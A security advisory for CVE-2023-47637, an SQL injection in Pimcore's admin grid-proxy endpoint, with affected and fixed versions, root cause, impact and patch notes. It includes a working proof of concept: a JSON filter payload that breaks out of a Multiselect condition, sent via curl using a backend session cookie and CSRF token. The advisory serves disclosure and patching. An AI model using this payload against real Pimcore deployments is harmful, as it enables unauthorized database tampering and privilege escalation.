pimcore/pimcore
Affected
- introduced
0, fixed11.1.1(ecosystem)
Fixed versions
11.1.1
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2023-47637
Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()
Summary
User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.
Details
The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.
One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312
PoC
X-pimcore-csrf-token header from any request the backend does, as well as the PHPSESSID cookie.FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]"
curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \
-X POST \
-H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
-H "Cookie: ${COOKIE}" \
--data "filter=$FILTER_JSON"
```
Notes
The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.
Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.
Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Patches
Apply patch manually.
Workarounds
Update to version 11.1.1 or apply this patch manually.
High Basis: The source's own band: HIGH
0, fixed 11.1.1 (ecosystem)11.1.1
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0